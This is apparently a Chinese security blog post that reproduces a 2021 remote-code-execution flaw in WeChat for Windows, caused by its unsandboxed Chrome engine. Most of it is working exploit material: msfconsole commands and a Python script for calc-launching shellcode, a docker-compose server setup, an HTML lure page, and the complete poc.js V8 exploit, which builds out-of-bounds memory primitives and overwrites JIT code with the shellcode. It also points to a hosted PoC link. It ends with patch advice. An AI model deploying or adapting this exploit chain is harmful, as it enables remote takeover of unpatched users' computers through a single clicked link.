XiaBee's Studio.

微信RCE 0day复现

字数统计: 2.5k阅读时长: 11 min
2020/04/18

0xFF 免责声明

由于传播、利用此文提供的信息而造成的任何直接或间接的后果,均有使用者承担,本站不为此承担任何责任。

太长不看版:

(2021年4月17日的0day漏洞)

3.2.1.132及之前版本的PC版微信有安全漏洞,通过微信内置浏览器点击恶意链接,即可实现任意命令执行(RCE)

以上测试为打开Windows系统(64位机)内置计算器

image.png

RCE(Remote command/code execute)漏洞,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统。具体能做什么,只有受害者想不到,没有攻击者做不到(假的,这个需要技术的)。比较常见的应用为shell反弹,即通过构造恶意代码,打开控制受害者机器的大门,再通过花式提权,获取机器的最高权限(如果可以的话)。理论上不反弹shell也能执行很多危险造作,比如删库跑路等,具体可以知乎搜索CTF搅屎棍(误)

简单解释一下RCE

0x00 故事起因

昨天看到奇安信的紧急通告:

image.png紧急更新公告

“严重安全问题”,“强烈建议”,这BUG好猛啊,是不是可以RCE啊,这不赶紧来试一下

然后去360响应中心上找了一下预警……发现确实是个在野漏洞:

组件: Windows版微信

漏洞类型: 远程代码执行

影响: PC接管

简述: 攻击者可以通过微信发送一个特制的web链接,用户一旦点击链接,Windows版微信便会加载执行攻击者构造恶意代码,最终使攻击者控制用户PC。

https://cert.360.cn/warning/

image.png

0x01 漏洞成因

安全预警里面也说了,是Chrome的安全问题导致的……PC端微信调用了较低版本的Chrome内核,而且没有开启沙箱(–no-sandbox模式),使用微信内置浏览器时,会触发Chrome内核解释器的漏洞,造成浏览器PWN,实现任意命令执行(RCE)。

image.png

0x02 漏洞复现

a.配置环境

首先需要找一个没有更新微信同学要一下微信安装包……

其实官网也有历史版本,只是比较隐蔽:微信历史版本

我们下载并测试3.1.0:

image.png

为什么不用最新版呢——因为最新版标记的日期虽然是0day曝光之前的,但是下载下来却是3.2.1.142(已经修复了漏洞的版本www)

b.寻找EXP模板

gayhub查查有木有别人写好的exp,居然还真有。

image.png

https://github.com/Jaky5155/Wechat_0day

而且仿佛是新鲜的,新鲜到README都没写(x):

image.png

https://github.com/Jaky5155/Wechat_0day

点进去莽了一眼,好像就是从Chrome 0day的EXP里面CV过来的

不过我还是给了他一个star,毕竟能嫖到的代码谁会想自己写呢(x)

仔细看一眼,发现shellcode需要我们自己写:

image.png

3.编写shellcode

因为只是做测试,就不搞花里胡哨的shell反弹了,做一个最简单的,打开计算器

有两种方法:一种是手撸汇编代码,生成二进制文件,找到代码段对应机器码,然后copy下来即可;第二中是借助MSF直接生成机器码……手撸shellcode有点顶,下次想起来单独写一篇博客,这里我们通过MSF直接生成:

1
2
3
4
5
6
7
8
9
10
msfconsole
# 启动msf控制台

use windows/exec
set CMD calc.exe
set EXITFUNC thread
#设置参数

generate -t
# 生成buf

得到的shellcode如下:

image.png

我们通过Python脚本将其转换为需要的list形式:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import binascii

buf = "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50" + \
"\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26" + \
"\x31\xff\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7" + \
"\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78" + \
"\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3" + \
"\x3a\x49\x8b\x34\x8b\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01" + \
"\xc7\x38\xe0\x75\xf6\x03\x7d\xf8\x3b\x7d\x24\x75\xe4\x58" + \
"\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3" + \
"\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a" + \
"\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb\x8d\x5d\x6a\x01\x8d" + \
"\x85\xb2\x00\x00\x00\x50\x68\x31\x8b\x6f\x87\xff\xd5\xbb" + \
"\xe0\x1d\x2a\x0a\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c" + \
"\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53" + \
"\xff\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00"

code = [hex(ord(x)) for x in buf]

print(','.join(code))

然后将结果复制粘贴到poc.js

4.配置服务端

直接本地起一个一键式容器(其实只要用各种方法开启了WEB服务就行),由于不涉及数据库什么的,随手写了一个docker-compose

image.png

docker-compose.yml:直接拖了个LAMP,没啥花里胡哨的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
version: '3'
services:
# 基本环境
WECHAT_POC:
# image直接拖了个lamp
image: tutum/lamp
ports:
- 9999:80
volumes:
- ./www:/var/www/html
tty: true
networks:
- net

environment:
TZ: Asia/Shanghai

networks:
# 配置docker network
net:
# external:
# name: h1ve_frp_containers

index.html:这部分就可以做的花里胡哨了,只要调用了poc.js就行

1
2
3
4
5
6
7
8
9
10
11
12
13
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>wechat</title>
</head>
<body>
<h1>Hello World!</h1>
<script src = "poc.js"></script>
</body>
</html>

poc.js:这个是攻击的核心,尤其是shellcode部分(这里的shellcode是刚刚自己掰的,功能是打开计算器)

框架部分是嫖的,感谢Jaky5155开源的EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
ENABLE_LOG = true;
IN_WORKER = true;

// run calc and hang in a loop
//var shellcode = [#shellcode];

var shellcode = [0xfc, 0xe8, 0x82, 0x0, 0x0, 0x0, 0x60, 0x89, 0xe5, 0x31, 0xc0, 0x64, 0x8b, 0x50, 0x30, 0x8b, 0x52, 0xc, 0x8b, 0x52, 0x14, 0x8b, 0x72, 0x28, 0xf, 0xb7, 0x4a, 0x26, 0x31, 0xff, 0xac, 0x3c, 0x61, 0x7c, 0x2, 0x2c, 0x20, 0xc1, 0xcf, 0xd, 0x1, 0xc7, 0xe2, 0xf2, 0x52, 0x57, 0x8b, 0x52, 0x10, 0x8b, 0x4a, 0x3c, 0x8b, 0x4c, 0x11, 0x78, 0xe3, 0x48, 0x1, 0xd1, 0x51, 0x8b, 0x59, 0x20, 0x1, 0xd3, 0x8b, 0x49, 0x18, 0xe3, 0x3a, 0x49, 0x8b, 0x34, 0x8b, 0x1, 0xd6, 0x31, 0xff, 0xac, 0xc1, 0xcf, 0xd, 0x1, 0xc7, 0x38, 0xe0, 0x75, 0xf6, 0x3, 0x7d, 0xf8, 0x3b, 0x7d, 0x24, 0x75, 0xe4, 0x58, 0x8b, 0x58, 0x24, 0x1, 0xd3, 0x66, 0x8b, 0xc, 0x4b, 0x8b, 0x58, 0x1c, 0x1, 0xd3, 0x8b, 0x4, 0x8b, 0x1, 0xd0, 0x89, 0x44, 0x24, 0x24, 0x5b, 0x5b, 0x61, 0x59, 0x5a, 0x51, 0xff, 0xe0, 0x5f, 0x5f, 0x5a, 0x8b, 0x12, 0xeb, 0x8d, 0x5d, 0x6a, 0x1, 0x8d, 0x85, 0xb2, 0x0, 0x0, 0x0, 0x50, 0x68, 0x31, 0x8b, 0x6f, 0x87, 0xff, 0xd5, 0xbb, 0xe0, 0x1d, 0x2a, 0xa, 0x68, 0xa6, 0x95, 0xbd, 0x9d, 0xff, 0xd5, 0x3c, 0x6, 0x7c, 0xa, 0x80, 0xfb, 0xe0, 0x75, 0x5, 0xbb, 0x47, 0x13, 0x72, 0x6f, 0x6a, 0x0, 0x53, 0xff, 0xd5, 0x63, 0x61, 0x6c, 0x63, 0x2e, 0x65, 0x78, 0x65, 0x0];
// open calc

function print(data) {
}


var not_optimised_out = 0;
var target_function = (function (value) {
if (value == 0xdecaf0) {
not_optimised_out += 1;
}
not_optimised_out += 1;
not_optimised_out |= 0xff;
not_optimised_out *= 12;
});

for (var i = 0; i < 0x10000; ++i) {
target_function(i);
}


var g_array;
var tDerivedNCount = 17 * 87481 - 8;
var tDerivedNDepth = 19 * 19;

function cb(flag) {
if (flag == true) {
return;
}
g_array = new Array(0);
g_array[0] = 0x1dbabe * 2;
return 'c01db33f';
}

function gc() {
for (var i = 0; i < 0x10000; ++i) {
new String();
}
}

function oobAccess() {
var this_ = this;
this.buffer = null;
this.buffer_view = null;

this.page_buffer = null;
this.page_view = null;

this.prevent_opt = [];

var kSlotOffset = 0x1f;
var kBackingStoreOffset = 0xf;

class LeakArrayBuffer extends ArrayBuffer {
constructor() {
super(0x1000);
this.slot = this;
}
}

this.page_buffer = new LeakArrayBuffer();
this.page_view = new DataView(this.page_buffer);

new RegExp({ toString: function () { return 'a' } });
cb(true);

class DerivedBase extends RegExp {
constructor() {
// var array = null;
super(
// at this point, the 4-byte allocation for the JSRegExp `this` object
// has just happened.
{
toString: cb
}, 'g'
// now the runtime JSRegExp constructor is called, corrupting the
// JSArray.
);

// this allocation will now directly follow the FixedArray allocation
// made for `this.data`, which is where `array.elements` points to.
this_.buffer = new ArrayBuffer(0x80);
g_array[8] = this_.page_buffer;
}
}

// try{
var derived_n = eval(`(function derived_n(i) {
if (i == 0) {
return DerivedBase;
}

class DerivedN extends derived_n(i-1) {
constructor() {
super();
return;
${"this.a=0;".repeat(tDerivedNCount)}
}
}

return DerivedN;
})`);

gc();


new (derived_n(tDerivedNDepth))();

this.buffer_view = new DataView(this.buffer);
this.leakPtr = function (obj) {
this.page_buffer.slot = obj;
return this.buffer_view.getUint32(kSlotOffset, true, ...this.prevent_opt);
}

this.setPtr = function (addr) {
this.buffer_view.setUint32(kBackingStoreOffset, addr, true, ...this.prevent_opt);
}

this.read32 = function (addr) {
this.setPtr(addr);
return this.page_view.getUint32(0, true, ...this.prevent_opt);
}

this.write32 = function (addr, value) {
this.setPtr(addr);
this.page_view.setUint32(0, value, true, ...this.prevent_opt);
}

this.write8 = function (addr, value) {
this.setPtr(addr);
this.page_view.setUint8(0, value, ...this.prevent_opt);
}

this.setBytes = function (addr, content) {
for (var i = 0; i < content.length; i++) {
this.write8(addr + i, content[i]);
}
}
return this;
}

function trigger() {
var oob = oobAccess();

var func_ptr = oob.leakPtr(target_function);
print('[*] target_function at 0x' + func_ptr.toString(16));

var kCodeInsOffset = 0x1b;

var code_addr = oob.read32(func_ptr + kCodeInsOffset);
print('[*] code_addr at 0x' + code_addr.toString(16));

oob.setBytes(code_addr, shellcode);

target_function(0);
}

try {
print("start running");
trigger();
} catch (e) {
print(e);
}

0x04 测试效果

主机服务跑起来,虚拟机用过微信内置浏览器访问主机地址——成功弹出计算器:

image.png

然后在服务器上也配置一个:http://xiabee.cn:9999/

经过多次测试,计算器正常弹出,漏洞有效

0x05 漏洞危害与修复建议

这是一个RCE(Remote Command Execute,任意命令执行)!这是一个RCE!这是一个RCE!重要的事情说三遍!

image.png

这里只是展示了如何打开计算器,但是理论上攻击者可以根据需要编写任意的shellcode以控制受害者主机,比如最常见的shell反弹等;而且这个利用浏览器的漏洞,不需要攻击者提供恶意软件(不需要受害者下载病毒),只需精心设计一串代码,提供一个链接,诱惑受害者点击,危险指数较高。

修复的话……部分安全软件(比如Windows Defender)并没有阻止我们点击恶意链接,部分安全软件(比如卡巴斯基)在点击含有反弹shell的链接时发出了警告——过度依赖安全软件是不对的,不明链接不要随意点击。

当然,最保险的修复方案还是官方更新啦,直接升级到最新版(3.2.1.141及以后版本)即可 。

及时更新,及时更新,及时更新,重要的事情说三遍(x)

CATALOG
  1. 1. 0xFF 免责声明
  2. 2. 太长不看版:
  3. 3. 0x00 故事起因
  4. 4. 0x01 漏洞成因
  5. 5. 0x02 漏洞复现
    1. 5.1. a.配置环境
    2. 5.2. b.寻找EXP模板
    3. 5.3. 3.编写shellcode
    4. 5.4. 4.配置服务端
  6. 6. 0x04 测试效果
  7. 7. 0x05 漏洞危害与修复建议